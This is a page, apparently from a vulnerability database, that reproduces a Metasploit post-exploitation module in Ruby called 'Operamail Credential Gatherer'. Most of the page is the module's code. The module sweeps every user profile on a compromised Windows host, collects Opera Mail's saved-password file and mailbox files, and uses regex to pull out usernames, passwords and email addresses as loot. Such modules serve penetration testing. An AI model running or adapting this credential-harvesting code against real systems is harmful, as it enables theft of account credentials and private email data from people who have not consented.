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Operamail Credential Gatherer

🗓️ 28 Sep 2021 17:42:14Reported by Kazuyoshi Maruta, Daniel Hallsworth, Barwar Salim M, Z. Cliffe SchreudersType 
metasploit
 metasploit
🔗 www.rapid7.com👁 64 Views

PackRat is a post-exploitation module that gathers file and information artifacts from end users' systems. It searches for and downloads files of interest and extracts information using regex, JSON, XML, and SQLite queries. This module searches for Operamail credentials on a windows remote host

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post

  include Msf::Post::File
  include Msf::Post::Windows::UserProfiles
  include Msf::Post::Windows::Packrat
  ARTIFACTS =
    {
      application: 'operamail',
      app_category: 'emails',
      gatherable_artifacts: [
        {
          filetypes: 'chats_image',
          path: 'AppData',
          dir: 'Opera Mail',
          artifact_file_name: 'wand.dat',
          description: "Opera-Mail's saved Username and Passwords",
          credential_type: 'text',
          regex_search: [
            {
              extraction_description: 'Searches for credentials (USERNAMES/PASSWORDS)',
              extraction_type: 'credentials',
              regex: [
                '(?i-mx:password.*)',
                '(?i-mx:username.*)'
              ]
            },
            {
              extraction_description: 'searches for Email TO/FROM address',
              extraction_type: 'Email addresses',
              regex: [
                '(?i-mx:to:.*)',
                '(?i-mx:from:.*)'
              ]
            }
          ]
        },
        {
          filetypes: 'email_logs',
          path: 'LocalAppData',
          dir: 'Opera Mail',
          artifact_file_name: '*.mbs',
          description: "Opera-Mail's Emails",
          credential_type: 'text',
          regex_search: [
            {
              extraction_description: 'Searches for credentials (USERNAMES/PASSWORDS)',
              extraction_type: 'credentials',
              regex: [
                '(?i-mx:password.*)',
                '(?i-mx:username.*)'
              ]
            },
            {
              extraction_description: 'searches for Email TO/FROM address',
              extraction_type: 'Email addresses',
              regex: [
                '(?i-mx:to:.*)',
                '(?i-mx:from:.*)'
              ]
            }
          ]
        }
      ]
    }.freeze

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Operamail Credential Gatherer',
        'Description' => %q{
          This module searches for Operamail credentials on a Windows host.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Kazuyoshi Maruta',
          'Daniel Hallsworth',
          'Barwar Salim M',
          'Z. Cliffe Schreuders', # http://z.cliffe.schreuders.org
        ],
        'Platform' => ['win'],
        'SessionTypes' => ['meterpreter'],
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [],
          'SideEffects' => []
        }
      )
    )

    register_options(
      [
        OptRegexp.new('REGEX', [false, 'Match a regular expression', '^password']),
        OptBool.new('STORE_LOOT', [false, 'Store artifacts into loot database', true]),
        OptBool.new('EXTRACT_DATA', [false, 'Extract data and stores in a separate file', true]),
        # enumerates the options based on the artifacts that are defined below
        OptEnum.new('ARTIFACTS', [false, 'Type of artifacts to collect', 'All', ARTIFACTS[:gatherable_artifacts].map { |k| k[:filetypes] }.uniq.unshift('All')])
      ]
    )
  end

  def run
    print_status('Filtering based on these selections:  ')
    print_status("ARTIFACTS: #{datastore['ARTIFACTS'].capitalize}")
    print_status("STORE_LOOT: #{datastore['STORE_LOOT']}")
    print_status("EXTRACT_DATA: #{datastore['EXTRACT_DATA']}\n")

    # used to grab files for each user on the remote host
    grab_user_profiles.each do |userprofile|
      run_packrat(userprofile, ARTIFACTS)
    end

    print_status 'PackRat credential sweep completed'
  end
end

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